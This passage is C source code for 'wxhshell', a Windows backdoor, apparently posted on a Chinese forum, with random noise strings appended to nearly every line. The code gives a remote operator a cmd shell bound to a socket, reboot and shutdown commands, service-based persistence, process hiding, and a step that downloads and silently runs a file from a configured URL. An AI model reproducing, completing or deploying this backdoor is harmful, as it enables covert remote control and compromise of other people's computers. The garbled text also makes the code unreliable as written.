  else { =2BB ~\G+  
ku`bwS  
    switch(cmd[0]) { [+j39d.Q  
  KR4vcI[4  
  // 帮助 uI'g]18Hi  
  case '?': { 1zz.`.R2U  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); T-'B-g  
    break; -_>g=a@&  
  } y 8./)W&/  
  // 安装 XIrNT:h4  
  case 'i': { O8J:Tw}M*  
    if(Install()) ;~Em,M"o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SdI/  
    else Ul EP;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0lvX,78G;  
    break; =XT'D@q~W  
    } [xVE0l*\   
  // 卸载 5xEk 7g.  
  case 'r': { ,Cj8{s&;  
    if(Uninstall()) v{H3DgyG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d\cwUXf J  
    else j&S8x|5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !Qg%d&q.Sx  
    break; P'nbyF  
    } B1&H5gxgN  
  // 显示 wxhshell 所在路径 oc2aE:>X  
  case 'p': { LX %8a^?;  
    char svExeFile[MAX_PATH]; R.g'&_zx  
    strcpy(svExeFile,"\n\r"); ~YuRi#CTD:  
      strcat(svExeFile,ExeFile); wmNc)P4  
        send(wsh,svExeFile,strlen(svExeFile),0); G0^O7w^5  
    break; + njE  
    } {d;eZt `  
  // 重启 KAg<s}gQJ  
  case 'b': { q5$z:'zE  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); h&!k!Su3#  
    if(Boot(REBOOT)) zr0_SCh;2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ':7%@2Zo  
    else { {C%/>e2-%  
    closesocket(wsh); ^"w.v' sL  
    ExitThread(0); `9Qr kkG+  
    } !Xwp;P=  
    break; k3m|I*_\L  
    } ta+'*@V +G  
  // 关机 B[ f{Ys  
  case 'd': { cJ&e^$:Er  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); HrA6wn\O  
    if(Boot(SHUTDOWN)) }9=\#Le~\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *JG?^G"l  
    else {  ?4 `K8  
    closesocket(wsh); (n-8p6x(  
    ExitThread(0); I`44}oJ  
    } tR5zlm(}  
    break; q{UP_6O F  
    } %r5&CUE5?  
  // 获取shell D PnKr/  
  case 's': { p[e|N;W8A  
    CmdShell(wsh); !MB%  
    closesocket(wsh); u[U~`*i*rA  
    ExitThread(0); Jkt L|u:k  
    break; I~S`'()J  
  } Z*kGWL  
  // 退出 ,{c9Lv%@J  
  case 'x': { n@BE*I<"  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); )2oWoZ vi9  
    CloseIt(wsh); 1){1 HK  
    break; 8\8uXOS  
    } RlX;c!K  
  // 离开 %^"Tz,f  
  case 'q': { uL b- NxQ-  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); $B4}('&4FQ  
    closesocket(wsh); kq:,}fc;B  
    WSACleanup(); tGzYO/Zp  
    exit(1); ja~b5Tf9  
    break; *|Re,cY  
        } ~GfcI:Zz&  
  } 'N5qX>Ob  
  }  | qHWM  
P58U8MEG  
  // 提示信息 _\"P<+!  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1l\O9D +$  
} scqG$~O)  
  } % @Ks<"9  
@V] Wm1g  
  return; c0<Y017sG  
} HtEjM|zj  
c ~YD|l  
// shell模块句柄 {<~XwJ.  
int CmdShell(SOCKET sock) p`1d'n[  
{ %8$JL=c  
STARTUPINFO si; .2 UUU\/5  
ZeroMemory(&si,sizeof(si)); Lj(hk @  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; nB,FJJ{kb  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Eg-b5Z);  
PROCESS_INFORMATION ProcessInfo; 8+gx?pb  
char cmdline[]="cmd"; qvYYKu  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); U]hQ#a+  
  return 0; yc]ni.Hz  
} NFLmM  
Yc?taL)  
// 自身启动模式 OM!ES%c,  
int StartFromService(void) &O0+\A9tP  
{ a4`@z:l  
typedef struct ]N=C%#ki!  
{ V]k!]  
  DWORD ExitStatus; P603P  
  DWORD PebBaseAddress; W]2;5 `MM  
  DWORD AffinityMask; 2z0HB+Y}x  
  DWORD BasePriority; U"m!f*a  
  ULONG UniqueProcessId; Z(as@gj H  
  ULONG InheritedFromUniqueProcessId; <u2*(BM4  
}   PROCESS_BASIC_INFORMATION; kOdS^-  
p6Z]oL q  
PROCNTQSIP NtQueryInformationProcess; ~d5"<`<^o  
F|P2\SPL  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; MqoQs{x  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; |!!E5osXq  
BLaX p0  
  HANDLE             hProcess; P< WD_W  
  PROCESS_BASIC_INFORMATION pbi; HENCQ_Wra  
]NFDE-Jz]  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 3l L:vD5(  
  if(NULL == hInst ) return 0; /$eEj  
[tD*\\IA  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $\^]MxI  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4uftx1o   
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ~-:CN(U  
3@"VS_;?  
  if (!NtQueryInformationProcess) return 0; s}z,{Y$-t  
A+F-r_]}db  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); oTa! F;I  
  if(!hProcess) return 0; iMA)(ZS  
\ 3LD^[qi  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; n/|/Womr  
NXmj<azED  
  CloseHandle(hProcess); %[Ds-my2  
YKx0Zs  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);  +;!w;t  
if(hProcess==NULL) return 0;  aZ0H)  
Xj@Kt|&`k  
HMODULE hMod; " LxJPt\  
char procName[255]; a<o0B{7{BM  
unsigned long cbNeeded; /N^+a-.Qd  
` q@~78`  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _$cBI_eA7  
* ;M?R?+  
  CloseHandle(hProcess); cq=R  
C=b5[, UCB  
if(strstr(procName,"services")) return 1; // 以服务启动 .XE]vo  
=|#-Rm^YB  
  return 0; // 注册表启动 ;C{_T:LS  
} "Jwz.,Y\  
0=5i\*5 p  
// 主模块 5 O6MI4:  
int StartWxhshell(LPSTR lpCmdLine) mzw*6e2T  
{ v6n(<0:  
  SOCKET wsl; s6]f#s5o  
BOOL val=TRUE; Uy_= #&jg  
  int port=0; .=FJ5?:4i%  
  struct sockaddr_in door; k^]~NP  
8(I"C$D!k  
  if(wscfg.ws_autoins) Install(); z[rB/ |2  
cs5Xd  
port=atoi(lpCmdLine); ={Hbx> p  
KqUFf@W  
if(port<=0) port=wscfg.ws_port; =ht@7z8QM  
p(8\w-6  
  WSADATA data; Q4PXC$u  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^v'Lu!\f  
Uoe?5Of(*  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   $d=lDN  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 5 9vGLN!L  
  door.sin_family = AF_INET; 4jW{IGW  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 3YRzBf:h  
  door.sin_port = htons(port); ;$i'A&)OC  
vKC>t95  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { h CiblM  
closesocket(wsl); >xjy P!bca  
return 1; (`p(c;"*C!  
} qSd $$L^  
meWAm?8RI  
  if(listen(wsl,2) == INVALID_SOCKET) { _6' g]4  
closesocket(wsl); 3C2 >   
return 1; qrkT7f  
} rU O{-R  
  Wxhshell(wsl); ;D1IhDC  
  WSACleanup(); q|l|gY1g)  
{V8Pn2mlo  
return 0; p1nA7;B-m  
p"@|2a  
} 9?8`" v  
"ir*;|  
// 以NT服务方式启动 1|VJND  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) dc)Gk  
{ ob{pQx7  
DWORD   status = 0; :m\KQ1sq  
  DWORD   specificError = 0xfffffff; X d6y7s  
BR2y1Hfi  
  serviceStatus.dwServiceType     = SERVICE_WIN32; tp<VOUa  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; "ivqh{ ,  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; f#5JAR  
  serviceStatus.dwWin32ExitCode     = 0; w^gh&E  
  serviceStatus.dwServiceSpecificExitCode = 0; z"3c+?2  
  serviceStatus.dwCheckPoint       = 0; F 4/Uu"J:  
  serviceStatus.dwWaitHint       = 0; +$t%L  
R5"p7>  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); }U9jsm  
  if (hServiceStatusHandle==0) return; ^&iV%vQ[  
%jk PrI  
status = GetLastError(); >Il`AR;D  
  if (status!=NO_ERROR) \0h/~3  
{ gEP E9ew  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; nY)Pxahm7  
    serviceStatus.dwCheckPoint       = 0; Ao T7sy7  
    serviceStatus.dwWaitHint       = 0; #=(op?]  
    serviceStatus.dwWin32ExitCode     = status; W#j,{&KVn  
    serviceStatus.dwServiceSpecificExitCode = specificError; ItADO'M  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); .h,xBT`}Ji  
    return; sE6J:m(  
  } K*$#D1hG  
or}*tSKX  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 8n5nHne  
  serviceStatus.dwCheckPoint       = 0; G:`Jrh  
  serviceStatus.dwWaitHint       = 0; <R>z;2c  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); *GP_ut%  
} v Lv@Mo  
p^P y,  
// 处理NT服务事件,比如:启动、停止 X vMG09  
VOID WINAPI NTServiceHandler(DWORD fdwControl) &Fjilx'k  
{ % Au$E&sj  
switch(fdwControl) .To:tN#  
{ b6&NzUt34V  
case SERVICE_CONTROL_STOP: e oSM@Isu  
  serviceStatus.dwWin32ExitCode = 0; pm~;:#z7  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; #G` ,  
  serviceStatus.dwCheckPoint   = 0; NxO^VUD  
  serviceStatus.dwWaitHint     = 0; xY2_*#{.  
  { JZ/O0PW  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?7)(qnbe"  
  } uhB!k-ir  
  return; ,$zlw\  
case SERVICE_CONTROL_PAUSE: ih |Ky+!  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; :gscW& k  
  break; 3DC%I79  
case SERVICE_CONTROL_CONTINUE: V9u\;5oL  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; u# WTh%/  
  break; 8`2<g0V2  
case SERVICE_CONTROL_INTERROGATE: heZy 66  
  break; r/hyW6e_  
}; aroVyUs3j  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :dIQV(iW  
} ^7 bf8 ^`  
^y0C5Bl;  
// 标准应用程序主函数  G].__]  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) s^YTI\L \  
{ kEhm'  
)|y2Q  
// 获取操作系统版本 1"&;1Ts  
OsIsNt=GetOsVer(); w&yGYHg  
GetModuleFileName(NULL,ExeFile,MAX_PATH); G yAgPz  
RF~Ofi  
  // 从命令行安装 bk"k&.C^+  
  if(strpbrk(lpCmdLine,"iI")) Install(); N&^xq_9&  
9/ 1+BQ  
  // 下载执行文件 ,ah*!Zm.kk  
if(wscfg.ws_downexe) { =Y/fF  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) KU|BT .o8  
  WinExec(wscfg.ws_filenam,SW_HIDE); dG-or  
} Va@6=U7c  
sCtw30BL  
if(!OsIsNt) { mPfUJ#rS  
// 如果时win9x,隐藏进程并且设置为注册表启动 a,'Ncg  
HideProc(); 9#&W!f*qO|  
StartWxhshell(lpCmdLine); Yi&-m}  
} G_M:0YI@  
else xshAr J&A  
  if(StartFromService()) )nNCB=YF!  
  // 以服务方式启动 TD{=L*{+  
  StartServiceCtrlDispatcher(DispatchTable); p2x1xv  
else ,9Z2cgXwJ  
  // 普通方式启动 t1w2u.]  
  StartWxhshell(lpCmdLine); b H"}w$!>r  
%l:|2s:  
return 0; Du^x=;  
}
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只看该作者 1 发表于: 2006-10-10
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